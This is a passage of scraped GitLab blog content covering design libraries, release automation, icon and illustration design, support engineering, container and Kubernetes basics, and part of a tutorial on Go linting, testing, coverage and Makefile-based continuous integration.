foundation](https://about.gitlab.com/images/blogimages/gitlab-design-library/library--measures@2x.png){: .shadow}\n\nBuilding out these components gave us the opportunity to alter and add to our new perceptual patterns. It is okay to allow some flexibility within your design library, so long as the rules and use cases are clearly defined.\n\n## Structure\n\nWe set up our design library using a [primary sketch file](https://gitlab.com/gitlab-org/gitlab-design/blob/master/production/resources/gitlab-elements.sketch) that includes all the components and styles that have been added to our team library. As we began building out multiple components, it was important to define a structure that would mimic the way components are implemented on the frontend. This would allow the design and frontend teams to work more closely together, ensuring that components were DRY and reusable. We chose to implement [Brad Frost's Atomic Design](http://bradfrost.com/blog/post/atomic-web-design/) principles in order to accomplish this. Atomic design \"break[s] entire interfaces down into fundamental building blocks,\" ensuring that everything is constructed in a methodical way. These building blocks consist of:\n\n**Atoms:** Elements that cannot be broken down further. This can include type styles, buttons, labels, and inputs\n\n**Molecules:** A group of atoms that function as a unit, such as a form.\n\n**Organisms:** A high-level component that consists of several molecules to make up its own structure. This can include a header or a sidebar.\n\nThere has been a lot written on Atomic Design. To learn more I recommend:\n\n- [Atomic Design by Brad Frost](http://atomicdesign.bradfrost.com/)\n- [Atomic Design by Brad Frost - An Event Apart video](https://vimeo.com/179245570)\n- [Pattern Lab](http://patternlab.io/)\n\nFollowing this structure forces the team to think carefully about what each part of a design is made up of, as well as easily define global components. If a modifier consists of atoms that are not used elsewhere, we encourage designers to think about whether a specific atom is necessary for that paradigm or if an existing global component would work in its place.\n\nIn the following example, we've built out our left navigational sidebar. This organism comprises molecules, and these molecules comprise globally used atoms (an avatar, badge, typography, and icons). We also include molecule modifiers, which make it easy to see the different states that a molecule can have. These together build the basis of the sidebar.\n\n{: .text-center}\n![Library foundation](https://about.gitlab.com/images/blogimages/gitlab-design-library/library--atomic@2x.png){: .shadow}\n\nWe use [symbols within Sketch](https://sketchapp.com/docs/symbols/) to create our atoms and molecules, while leaving organisms as groups so that we can easily modify and override specific aspects to fit the design we are working on.\n\n## Tooling\n\nChoosing tools can be an arduous task, especially with the number of options available for designers today. It is easy to get caught up in the latest tool and turn progress into tool churn. At GitLab, we took the time to evaluate multiple tools that would assist in the creation of a team library.\n\nSome of the issues we ran into while evaluating plugins were:\n\n- Slow performance, as well as bugs, when adding, changing, and renaming components\n- Overriding options when adding symbols to a new document were not pulled in or included automatically\n- Text styles weren't being saved or included in symbols that were pulled into a new document\n\nWe eventually decided to move forward using [Brand.ai](https://brand.ai) as a plugin for Sketch. This plugin solved many of the issues we were running into with other tools. However, while this plugin was the best that we found at the time, no tool is perfect:\n\n- Brand. ai limits the organization of components to one level deep\n- While faster and less buggy than other plugins, Brand.ai is still not as fast as we would like :rocket:\n\n{: .text-center}\n![Library foundation](https://about.gitlab.com/images/blogimages/gitlab-design-library/library--brandai@2x.png){: .shadow}\n\nAt GitLab, we don't look at Brand.ai as the answer. It is solely a tool to help aid us in the creation process. Since deciding on using Brand.ai, Sketch has released their own [library feature](https://blog.sketchapp.com/libraries-an-in-depth-look-56b147022e1f), Brand.ai was [acquired by InVision](https://www.invisionapp.com/blog/announcing-invision-design-system-manager/), and Figma has added numerous new features to aid in the creation of a design library. Tools are constantly transforming, but it's important to keep in mind that constantly changing tools may slow progress. Evaluate your tools carefully and decide what is best for your team at this moment. Remember that pattern libraries are only one aspect of a design system that helps make it more effective. The tools and technologies you use to create the library are meant to help your team, not act as the solution.\n\n## Moving forward\n\nConversations around design systems have exploded in recent years. Just over the last few months, Figma has begun sponsoring [Design System Dinners](https://www.designsystems.com/), InVision has created a [Design Systems Handbook](https://www.designbetter.co/design-systems-handbook/introducing-design-systems), and Smashing Magazine released [*Design Systems*](https://www.smashingmagazine.com/design-systems-book/) as their newest book.\n\nAt GitLab, we have only just begun the work on our design system. A design library is only the first part of our overall goal and it is our first step towards ensuring that our design will scale within the growing organization. We have begun thinking about design with a system in mind by creating a design language that captures the visual styles of our brand, as well as creating reusable and robust components. We've chosen tools and technologies that help aid us in this process while remembering that they are always evolving and are not the system itself.\n\nBeyond continuing to build out new paradigms within our design library, our next step is to begin linking our design library with our frontend code. This will allow us to include not only our designs and documentation, but also code snippets that can be used and referenced in our application. We have only just started this process and are in the very early stages of setting up a [repository](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com) to showcase our system.\n\nIf you have any tips, tricks, or lessons that you discovered while building out your own design library or system, we would love to hear from you!\n\n## Resources\n\n- [gitlab-elements.sketch](https://gitlab.com/gitlab-org/gitlab-design/blob/master/production/resources/gitlab-elements.sketch)\n- [GitLab Brand.ai](https://brand.ai/git-lab/primary-brand)\n- [Design Repo](https://gitlab.com/gitlab-org/gitlab-design)\n",[2248,2249,676],{"slug":34389,"featured":6,"template":678},"gitlab-design-library","content:en-us:blog:gitlab-design-library.yml","Gitlab Design Library","en-us/blog/gitlab-design-library.yml","en-us/blog/gitlab-design-library",{"_path":34395,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34396,"content":34401,"config":34407,"_id":34409,"_type":16,"title":34410,"_source":17,"_file":34411,"_stem":34412,"_extension":20},"/en-us/blog/automate-to-accelerate-webcast-recap",{"title":34397,"description":34398,"ogTitle":34397,"ogDescription":34398,"noIndex":6,"ogImage":33678,"ogUrl":34399,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34399,"schema":34400},"Testing & release automation: Accelerate development","If you’re not using automated testing, your competitors almost certainly are – catch up on our recent webcast to get started.","https://about.gitlab.com/blog/automate-to-accelerate-webcast-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automate to accelerate: What you need to know about test and release automation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-12-08\",\n      }",{"title":34402,"description":34398,"authors":34403,"heroImage":33678,"date":34404,"body":34405,"category":8943,"tags":34406},"Automate to accelerate: What you need to know about test and release automation",[19026],"2017-12-08","\n\nBuild better software, faster, with test and release automation. Check out our recent webcast to discover why it's critical to your software development process.\n\n\u003C!-- more -->\n\nIt's been six years since Marc Andreessen's landmark \"[software is eating the world](https://www.wsj.com/articles/SB10001424053111903480904576512250915629460)\" claim, and we know now that he was on the money. Whether or not you consider yourself to be in the business of software, you are. Virtually all products and services today contain digital elements, and some component of your user experience will absolutely be online.\n\nWe've moved beyond software for manufacturing, to where 61 percent of financial services jobs are expected to be replaced by software in the 2030s. Every sort of job has the potential to be consumed by software — robo-advisors, truck drivers, grocery stockers, cashiers, and the list goes on.\n\nConsider [this statement made earlier this year by the Nvidia CEO](https://www.technologyreview.com/s/607831/nvidia-ceo-software-is-eating-the-world-but-ai-is-going-to-eat-software/): “Software is eating the world, but AI is eating software” – this puts a new software development issue in play just to stay competitive. The power of AI, when harnessed correctly, will change the landscape entirely yet again. Your key to effective AI may just well be adaptive Continuous Integration functionality.\n\nTo keep up, your release cycle needs to be efficient – we’re talking about when and how you distribute updates to your product. Enter release management.\n\nIn this webcast GitLab Senior Solutions Architect [Joel Krooswyk](/company/team/#JoelKroos) talks about:\n\n- Release management and how it's changing\n- Why automation is critical to test and release processes\n- Challenges of adopting test and release automation and how to overcome them\n- Unified continuous integration and continuous delivery\n\nAnd he demonstrates how to get started with test automation in no time at all with [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/).\n\n## Watch the recording\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/dvayJWwzfPY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Grab the slides\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vTIAQe2m4mheFhuanNFJzqlY4TdVY3f2wR1wg7L1jVdYF5tL3D1ewo0a5DzUotdAZp5X16ypME200Ev/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"960\" height=\"569\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n",[4103,942,1384,3554],{"slug":34408,"featured":6,"template":678},"automate-to-accelerate-webcast-recap","content:en-us:blog:automate-to-accelerate-webcast-recap.yml","Automate To Accelerate Webcast Recap","en-us/blog/automate-to-accelerate-webcast-recap.yml","en-us/blog/automate-to-accelerate-webcast-recap",{"_path":34414,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34415,"content":34420,"config":34425,"_id":34427,"_type":16,"title":34428,"_source":17,"_file":34429,"_stem":34430,"_extension":20},"/en-us/blog/illustrations-and-icons-on-gitlab-com",{"title":34416,"description":34417,"ogTitle":34416,"ogDescription":34417,"noIndex":6,"ogImage":19593,"ogUrl":34418,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34418,"schema":34419},"Inside GitLab: Illustrations and icons on GitLab.com","Learn how our UX team creates icons and illustrations.","https://about.gitlab.com/blog/illustrations-and-icons-on-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside GitLab: Illustrations and icons on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hazel Yang\"}],\n        \"datePublished\": \"2017-12-04\",\n      }",{"title":34416,"description":34417,"authors":34421,"heroImage":19593,"date":34422,"body":34423,"category":734,"tags":34424},[33891],"2017-12-04","\nIn our 10.0 release, we introduced a [new navigation](/blog/unveiling-gitlabs-new-navigation/) complete with a redesigned color palette and icon set. We replaced [Font Awesome](http://fontawesome.io/icons/) with our own, SVG based, icon system, and we’ve also been hard at work on a series of illustrations to provide consistent visual language and improve our onboarding experience. Read on to find out more about how the UX team goes about creating new icons and illustrations.\n\n\u003C!-- more -->\n\nIllustrations and icons are powerful communication tools. They tell a story where words fail and can facilitate understanding across both language and culture barriers. Replacing text with illustrations and icons can make things clear at a glance. They also open up space and allow the eye to navigate more easily across the interface.\n\n## Illustrations\n\nA common mistake when designing a product is to assume that your users will understand how to use it. In reality, most users need a little help understanding where to start on their journey in order to discover all it has to offer. This is especially true for a product like GitLab, which is brimming with features. To assist users and [improve the onboarding experience](https://gitlab.com/gitlab-org/gitlab-ce/issues/15632), we decided to implement illustrations.\n\n### Defining the style\n\nTo begin, we reviewed our product’s existing styles to ensure that the illustrations we created would support a consistent brand experience for the application and our [official site](/).  During this review, we found that the visual design of these two products had diverged. The colors on our official website were vivid and energetic, orange and purple, while the colors of GitLab.com were soft and gentle, grey and white. Blending these two opposing styles into one set of illustrations was not going to be an easy task.\n\n{: .text-center}\n![gitlab-websites](https://about.gitlab.com/images/blogimages/illustrations-and-icons/gitlab-websites.png)\n\n### Visual consistency\n\nTo provide visual consistency across both products, we decided to pick up the primary, orange, and secondary, purple, colors from the official site for use in our illustrations. However, these two colors had a similar chroma and, used without modification, would create a jarring effect. Also, they just didn’t work well with the style of GitLab.com at the time. Our solution for this was to adjust the chroma of the two colors to generate new ones. These new colors played more harmoniously with the existing style of GitLab.com and allowed us to play with color in more creative ways.\n\n{: .text-center}\n![color-palettes](https://about.gitlab.com/images/blogimages/illustrations-and-icons/color-palettes.png)\n\n### Following GitLab values\n\n[Values](https://handbook.gitlab.com/handbook/values/) are important to us at GitLab. It was essential that our illustrations reflected these values and enhanced the brand experience to create a personal connection with our users. At GitLab we encourage people to maintain a positive attitude. Our illustrations needed to bring out a sense of playfulness, delight, and overall positivity.\n\n{: .text-center}\n![positive-illustration](https://about.gitlab.com/images/blogimages/illustrations-and-icons/positive-illustration.png){: .shadow}\n\nWe quickly found that these illustrations provided value as well as functionality. Used in an empty state, they inform users of features they may not know about and provide valuable onboarding. Used in error messaging, they quickly redirect users and get them back on track.\n\n{: .text-center}\n![errors-illustration](https://about.gitlab.com/images/blogimages/illustrations-and-icons/404.png){: .shadow}\n\nDiversity and inclusivity are essential to who we are as well. We have users, employees, and community members from many different cultural and geographical backgrounds. We reflected this variety of races, nationalities, and genders in the development of the illustrations for our [UX personas](https://design.gitlab.com/). We chose to use illustrations rather than stock photos. Illustrations make it easy to cover a variety of personas with no need to worry about copyrights.\n\n{: .text-center}\n![person-avatars](https://about.gitlab.com/images/blogimages/illustrations-and-icons/person-avatars.png){: .shadow}\n\nYou can find out more about our illustrations in the [handbook](https://docs.gitlab.com/ee/development/ux/).\n\n## Icons\n\nWhen GitLab was first in development, we chose Font Awesome as the primary icon set. It contained a variety of commonly used icons and was easy to implement. For an early-stage startup, it was a very useful tool.  \n\nAs GitLab matured, we needed more and more custom icons. These custom icons were created by our designers and, when mixed in with Font Awesome, led to an inconsistent visual style. Adding to the problem was the fact that we didn’t have a guide for icon usage. The lack of guidance caused [inconsistent](https://gitlab.com/gitlab-org/gitlab-ce/issues/29584) and [duplicated](https://gitlab.com/gitlab-org/gitlab-ce/issues/19751) icon usage to occur frequently. It confused users and had a detrimental effect on usability.\n\n### Creating our icons\n\nIt was time to build a consistent visual style and eliminate the confusion by [creating a complete custom icon set](https://gitlab.com/gitlab-org/gitlab-ce/issues/32894). Using distinct and unique iconography offered a powerful way to emphasize our unique personality.\n\n{: .text-center}\n![new-icon-set](https://about.gitlab.com/images/blogimages/illustrations-and-icons/new-icon-set.png){: .shadow}\n\nOnce again, consistency was key here. We gave our icons a thick border and rounded corners. Creating a consistent style between our illustrations and icons strengthened our brand identity by making it memorable and more easily recognizable.\n\nThick borders also help with accessibility. We were aware that some of our users adjusted their screen to higher resolutions, making an icon with a thin border harder to recognize. For this reason, we went with a `2x` width border.\n\n## The outcome\n\n### More recognizable and consistent visual language\n\nOur new color palette and icons on GitLab.com created a robust and consistent brand experience, making GitLab identifiable at a glance.\n\n### Illustrations for empty states and persona avatars\n\nMany of our empty state illustrations have been implemented, and we continue to develop more. You can see our avatar illustrations on [UX personas](https://design.gitlab.com/).\n\n{: .text-center}\n![example-empty-state](https://about.gitlab.com/images/blogimages/illustrations-and-icons/example-empty-state-issues.png){: .shadow}\n\n### Icons in contextual navigation and system notes\n\nWe have implemented most of our new icons on GitLab.com. You can find them in the [system notes](https://gitlab.com/gitlab-org/gitlab-ce/issues/24784) and [contextual navigation](https://gitlab.com/gitlab-org/gitlab-ce/issues/34027). Font Awesome will soon be completely phased out. We'd like to thank the Font Awesome team, their open source icon set allowed us to get very far, very fast!\n\n{: .text-center}\n![example-system-notes](https://about.gitlab.com/images/blogimages/illustrations-and-icons/system-notes.png){: .shadow}\n\n{: .text-center}\n![example-contextual-nav](https://about.gitlab.com/images/blogimages/illustrations-and-icons/contextual-nav-02.png){: .shadow}\n\n### Streamline process with the use of SVGs\n\nAll of our illustrations and icons are now exported as SVG files. Our Frontend AC Lead [Tim Zallmann](/company/team/#tpmtim) created [GitLab SVGs](http://gitlab-org.gitlab.io/gitlab-svgs/), a repository to manage all SVG Assets for GitLab. It creates SVG Sprites out of Icons and optimises SVG-based Illustrations. These are then exported to a live preview site. This enables the design team to add new icons and the frontend team to find icons quickly and easily.\n\n{: .text-center}\n![screenshot-gitlab-svgs](https://about.gitlab.com/images/blogimages/illustrations-and-icons/gitlab-svgs.png){: .shadow}\n\n## Conclusion\n\nYou will see GitLab's brand experience and UX design become more consistent and distinctive, and GitLab SVGs will soon be integrated into our [Design Library](https://gitlab.com/gitlab-org/gitlab-design/issues/26) we are working on. Stay tuned!\n",[2248,2249,676],{"slug":34426,"featured":6,"template":678},"illustrations-and-icons-on-gitlab-com","content:en-us:blog:illustrations-and-icons-on-gitlab-com.yml","Illustrations And Icons On Gitlab Com","en-us/blog/illustrations-and-icons-on-gitlab-com.yml","en-us/blog/illustrations-and-icons-on-gitlab-com",{"_path":34432,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34433,"content":34438,"config":34443,"_id":34445,"_type":16,"title":34446,"_source":17,"_file":34447,"_stem":34448,"_extension":20},"/en-us/blog/support-engineering-at-gitlab",{"title":34434,"description":34435,"ogTitle":34434,"ogDescription":34435,"noIndex":6,"ogImage":31060,"ogUrl":34436,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34436,"schema":34437},"At your service: Support Engineering at GitLab","A new series from GitLab Support Engineering about what we do and how we do it. All remotely of course!","https://about.gitlab.com/blog/support-engineering-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"At your service: Support Engineering at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Matos\"}],\n        \"datePublished\": \"2017-12-01\",\n      }",{"title":34434,"description":34435,"authors":34439,"heroImage":31060,"date":34440,"body":34441,"category":734,"tags":34442},[19634],"2017-12-01","\n\nHi! I’m [Lee Matos](/company/team/#leematos), [Support Team](/handbook/support/) Lead at GitLab and I’m very excited to be kicking off our blog series about what Support Engineering means at GitLab. One of the biggest things that people start with is, \"What’s the difference between Support Engineering and Customer Service?\" Great question! Let’s talk about it.\n\n\u003C!-- more -->\n\n## Support Engineering vs. Customer Service?\n\nTo start, I think Customer Service is a subset of Support Engineering. To be a great support engineer, you should be customer focused, but also technically minded. We address customers' needs via web calls and email daily. So those interactions are where a customer focus is paramount, but we’ll often be debugging Redis Queues or finding slow SQL queries. This is not just relationship management. It’s sussing out the bugs and then squashing them. I think that’s pretty common for support engineering, but we have some unique quirks too.\n\n## What’s unique about Support Engineering at GitLab?\n\nAt GitLab, transparency is a core value. Because of that, our issue trackers are public. This is great for Support because in traditional support models, we act as a router between the company and the customer. What I mean to say by that is that Support is responsible for keeping the customer in the loop as to the status and state of a bug fix or such by holding the ticket open until it gets resolved.\n\nWith our transparency, we get to act more like a pipe fitter. We connect the customer to the public issue, and from there they can see when it’s scheduled (and even when it gets delivered and by whom!) and if they choose, they can engage directly with the team responsible. This is unprecedented access into product development. It also allows Support to be smart about making the connection, but to give the ownership to the actual team responsible for delivering the work. Speaking of which, let’s talk about the Support Team right now.\n\n## How big is the team?\n\nWe are currently 12 global hooligans and we are looking for more. We are finding our volume of requests are best served by people based in EMEA -> East Coast America so we are targeting those regions to hire. This is great because everyone gets to work a “9-5,” but by leveraging remote work, we can easily get 24/5 coverage. This is huge.\n\nIf you are reading this and finding yourself interested in learning more, [we are hiring](/jobs/). We’d love to have you join our team if this sounds right for you.\n\nI’ll be writing more over the next months about how we stay connected remotely, how we communicate across teams, and how to make successful remote internships amongst other things. I hope you’ll enjoy the journey!\n\n-Lee\n",[676],{"slug":34444,"featured":6,"template":678},"support-engineering-at-gitlab","content:en-us:blog:support-engineering-at-gitlab.yml","Support Engineering At Gitlab","en-us/blog/support-engineering-at-gitlab.yml","en-us/blog/support-engineering-at-gitlab",{"_path":34450,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34451,"content":34457,"config":34462,"_id":34464,"_type":16,"title":34465,"_source":17,"_file":34466,"_stem":34467,"_extension":20},"/en-us/blog/containers-kubernetes-basics",{"title":34452,"description":34453,"ogTitle":34452,"ogDescription":34453,"noIndex":6,"ogImage":34454,"ogUrl":34455,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34455,"schema":34456},"Kubernetes & containers, and where cloud native fits in – the basics","Brush up on your understanding of these concepts key to modern development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671296/Blog/Hero%20Images/containers-kubernetes-basics.jpg","https://about.gitlab.com/blog/containers-kubernetes-basics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kubernetes & containers, and where cloud native fits in – the basics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-11-30\",\n      }",{"title":34452,"description":34453,"authors":34458,"heroImage":34454,"date":34459,"body":34460,"category":734,"tags":34461},[19026],"2017-11-30","\n\nWe throw around terms like Kubernetes, containers, and cloud native with some abandon, but sometimes take it for granted that everyone knows what's what. So here we go...\n\n\u003C!-- more -->\n\n## Container explainer\n\nA container is a method of operating system-based virtualization that allows\nyou to securely run an application and its dependencies independently without\nimpacting other containers or the operating system.\n\nBefore containers, it was common to use virtual machines (VMs) to provide a safe, sandbox environment in which to test software, within a computer. A container works much like a virtual machine except that, instead of packaging\nyour code with an operating system, it is run as a Linux process\ninside of the kernel. This means that each container only contains the code and dependencies needed to run that specific application, making them smaller and faster to run.\n\n![Containers vs virtual machines vs bare metal](https://about.gitlab.com/images/blogimages/containers-vm-bare-metal.png){: .medium.center}\n\n*\u003Csmall>Containers retain the same repeatability factor as virtual machines, but are much faster and use fewer resources to run.\u003C/small>*\n\n## Kuber... what?\n\nKubernetes is primarily a container scheduler – an open source platform designed to automate your management of application containers, from deploying and scaling to operating.\n\nWhile virtualization technology statically partitions your servers into smaller VMs, Kubernetes allows you to partition as you go, depending on how much or little resources are needed at the time, scaling up and down as necessary. You can respond quickly and efficiently to customer demand while limiting hardware usage and minimizing disruption to feature rollouts. With container schedulers, the focus shifts from the machine to the service – the machine becomes an ephemeral, disposable element.\n\nWhat's more, using containers in this way means they are decoupled from the host filesystem and underlying infrastructure, making them portable across clouds and operating systems.\n\n## Containers + Kubernetes \u003Ci class=\"fas fa-arrow-right\" aria-hidden=\"true\">\u003C/i> cloud native\n\nWhich brings us to [cloud native development](/topics/cloud-native/). Cloud native applications embrace a new approach to building and running applications that takes full advantage of the cloud computing model and container schedulers such as Kubernetes.\n\nNot to be confused with running traditional applications in the cloud, cloud native means that applications are purpose-built for the cloud, and consist of loosely coupled services. Applications are re-architected for running in the cloud – shifting the focus away from the machine to the service instead. Cloud native acknowledges that the cloud is about more than just who manages your servers – it is the next step in digital transformation.\n\nBy building applications that can run on any cloud, right out of the box, you’re free to migrate and distribute across vendors in line with your budget and business priorities. You also free up developer time – they don’t have to write code to run and scale across a range of cloud infrastructures, so they can focus on improvements and new features.\n\nSound good? We think so! Visit [about.gitlab.com/kubernetes](/solutions/kubernetes/) to learn more about how GitLab and Kubernetes can get you to cloud native nirvana.\n\n[Cover image](https://unsplash.com/@guibolduc?photo=uBe2mknURG4) by [Guillaume Bolduc](https://unsplash.com/@guibolduc) on Unsplash\n{: .note}\n",[2509,3949],{"slug":34463,"featured":6,"template":678},"containers-kubernetes-basics","content:en-us:blog:containers-kubernetes-basics.yml","Containers Kubernetes Basics","en-us/blog/containers-kubernetes-basics.yml","en-us/blog/containers-kubernetes-basics",{"_path":34469,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34470,"content":34475,"config":34481,"_id":34483,"_type":16,"title":34484,"_source":17,"_file":34485,"_stem":34486,"_extension":20},"/en-us/blog/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss",{"title":34471,"description":34472,"ogTitle":34471,"ogDescription":34472,"noIndex":6,"ogImage":12907,"ogUrl":34473,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34473,"schema":34474},"Go tools and GitLab: How to do continuous integration like a boss","How the team at Pantomath makes their lives easier with GitLab CI.","https://about.gitlab.com/blog/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Go tools and GitLab: How to do continuous integration like a boss\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julien Andrieux\"}],\n        \"datePublished\": \"2017-11-27\",\n      }",{"title":34471,"description":34472,"authors":34476,"heroImage":12907,"date":34478,"body":34479,"category":734,"tags":34480},[34477],"Julien Andrieux","2017-11-27","\n\nAt [Pantomath](https://pantomath.io/), we use [GitLab](/) for all our development work. The purpose of this paper is not to present GitLab and all [its features](/pricing/feature-comparison/), but to introduce how we use these tools to ease our lives. So what is it all about? To automate everything that is related to your development project, and let you focus on your code.\n\n\u003C!-- more -->\n\nWe’ll cover the [lint](https://en.wikipedia.org/wiki/Lint_(software)), [unit tests](https://en.wikipedia.org/wiki/Unit_testing), [data race](https://en.wikipedia.org/wiki/Race_condition), [memory sanitizer](https://clang.llvm.org/docs/MemorySanitizer.html), [code coverage](https://en.wikipedia.org/wiki/Code_coverage), and build.\n\nAll the source code shown in this post is available at [gitlab.com/pantomath-io/demo-tools](https://gitlab.com/pantomath-io/demo-tools). So feel free to get the repository, and use the tags to navigate in it. The repository should be placed in the `src` folder of your `$GOPATH`:\n\n```bash\n$ go get -v -d gitlab.com/pantomath-io/demo-tools\n$ cd $GOPATH/src/gitlab.com/pantomath-io/demo-tools\n```\n\n### Go tools\n\nLuckily, `Go` — the open source programming language also known as golang — comes with a [lot of useful tools](https://golang.org/cmd/go/), to build, test, and check your code. In fact, it’s all there. We’ll just add extra tools to glue them together. But before we go there, we need to take them one by one, and see what they do.\n\n#### Package list\n\nYour Go project is a collection of packages, as described in the [official doc](https://golang.org/doc/code.html). Most of the following tools will be fed with these packages, and thus the first command we need is a way to list the packages. Hopefully, the `Go` language covers our back with the `list` subcommand ([read the fine manual](https://golang.org/cmd/go/#hdr-List_packages) and this [excellent post from Dave Cheney](https://dave.cheney.net/2014/09/14/go-list-your-swiss-army-knife)):\n\n```bash\n$ go list ./...\n```\n\nNote that we want to avoid applying our tools on external packages or resources, and restrict it to **our** code. So we need to get rid of the [vendor directories](https://golang.org/cmd/go/#hdr-Vendor_Directories):\n\n```bash\n$ go list ./... | grep -v /vendor/\n```\n\n#### Lint\n\nThis is the very first tool we use on the code: the linter. Its role is to make sure that the code respects the code style. This may sounds like an optional tool, or at least a “nice-to-have” but it really helps to keep consistent style over your project.\n\nThis linter is not part of Go *per se*, so you need to grab it and install it by hand (see [official doc](https://github.com/golang/lint)).\n\nThe usage is fairly simple: you just run it on the packages of your code (you can also point the `.go` files):\n\n```bash\n$ golint -set_exit_status $(go list ./... | grep -v /vendor/)\n```\n\nNote the `-set_exit_status` option. By default, `golint` only prints the style issues, and returns (with a 0 return code), so the CI never considers something went wrong. If you specify the `-set_exit_status`, the return code from `golint` will be different from 0 if any style issue is encountered.\n\n#### Unit test\n\nThese are the most common tests you can run on your code. For each `.go` file, we need to have an associated `_test.go` file holding the unit tests. You can run the tests for all the packages with the following command:\n\n```bash\n$ go test -short $(go list ./... | grep -v /vendor/)\n```\n\n#### Data race\n\nThis is usually a hard subject to cover, but the `Go` tool has it by default (but only available on `linux/amd64`, `freebsd/amd64`, `darwin/amd64` and `windows/amd64`). For more information about data race, see [this article](https://golang.org/doc/articles/race_detector.html). Meanwhile, here is how to run it:\n\n```bash\n$ go test -race -short $(go list ./... | grep -v /vendor/)\n```\n\n#### Memory sanitizer\n\nClang has a nice detector for uninitialized reads called [MemorySanitizer](https://clang.llvm.org/docs/MemorySanitizer.html). The `go test` tool is kind enough to interact with this Clang module (as soon as you are on `linux/amd64` host and using a recent version of Clang/LLVM (`>=3.8.0`). This command is how to run it:\n\n```bash\n$ go test -msan -short $(go list ./... | grep -v /vendor/)\n```\n\n#### Code coverage\n\nThis is also a must have to evaluate the health of your code, and see what the part of code is under unit tests and what part is not. [Rob Pike](https://twitter.com/rob_pike) wrote a [full post on that very subject](https://blog.golang.org/cover).\n\nTo calculate the code coverage ratio, we need to run the following script:\n\n```bash\n$ PKG_LIST=$(go list ./... | grep -v /vendor/)\n$ for package in ${PKG_LIST}; do\n    go test -covermode=count -coverprofile \"cover/${package##*/}.cov\" \"$package\" ;\ndone\n$ tail -q -n +2 cover/*.cov >> cover/coverage.cov\n$ go tool cover -func=cover/coverage.cov\n```\n\nIf we want to get the coverage report in HTML format, we need to add the following command:\n\n```bash\n$ go tool cover -html=cover/coverage.cov -o coverage.html\n```\n\n#### Build\n\nLast but not least, once the code has been fully tested, we might want to compile it to make sure we can build a working binary.\n\n```bash\n$ go build -i -v gitlab.com/pantomath-io/demo-tools\n```\n\n### Makefile\n\n*git tag:* [init-makefile](https://gitlab.com/pantomath-io/demo-tools/tags/init-makefile)\n\n![](https://cdn-images-1.medium.com/max/1600/1*Ip_q_6I-kNpUjuPMOutuTA.jpeg)\n*\u003Csmall>Photo by [Matt Artz](https://unsplash.com/photos/qJE5Svhs2ek?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\u003C/small>*\n\nNow we have all the tools that we may use in the context of continuous integration, we can wrap them all in a [Makefile](https://gitlab.com/pantomath-io/demo-tools/blob/init-makefile/Makefile), and have a consistent way to call them.\n\nThe purpose of this doc is not to present `make`, but you can refer to [official documentation](https://www.gnu.org/software/make/manual/make.html) to learn more about it.\n\n    PROJECT_NAME := \"demo-tools\"\n    PKG := \"gitlab.com/pantomath-io/$(PROJECT_NAME)\"\n    PKG_LIST := $(shell go list ${PKG}/... | grep -v /vendor/)\n    GO_FILES := $(shell find . -name '*.go' | grep -v /vendor/ | grep -v _test.go)\n\n    .PHONY: all dep build clean test coverage coverhtml lint\n\n    all: build\n\n    lint: ## Lint the files\n      @golint -set_exit_status ${PKG_LIST}\n\n    test: ## Run unittests\n      @go test -short ${PKG_LIST}\n\n    race: dep ## Run data race detector\n      @go test -race -short ${PKG_LIST}\n\n    msan: dep ## Run memory sanitizer\n      @go test -msan -short ${PKG_LIST}\n\n    coverage: ## Generate global code coverage report\n      ./tools/coverage.sh;\n\n    coverhtml: ## Generate global code coverage report in HTML\n      ./tools/coverage.sh html;\n\n    dep: ## Get the dependencies\n      @go get -v -d ./...\n\n    build: dep ## Build the binary file\n      @go build -i -v $(PKG)\n\n    clean: ## Remove previous build\n      @rm -f $(PROJECT_NAME)\n\n    help: ## Display this help screen\n      @grep -h -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = \":.*?## \"}; {printf \"\\033[36m%-30s\\033[0m %s\\n\", $$1, $$2}'\n\nWhat do we have now? One target for any tool previously presented, and three more targets for:\n\n* installation of dependencies (`dep`);\n* housekeeping of the project (`clean`);\n* some nice and shiny help 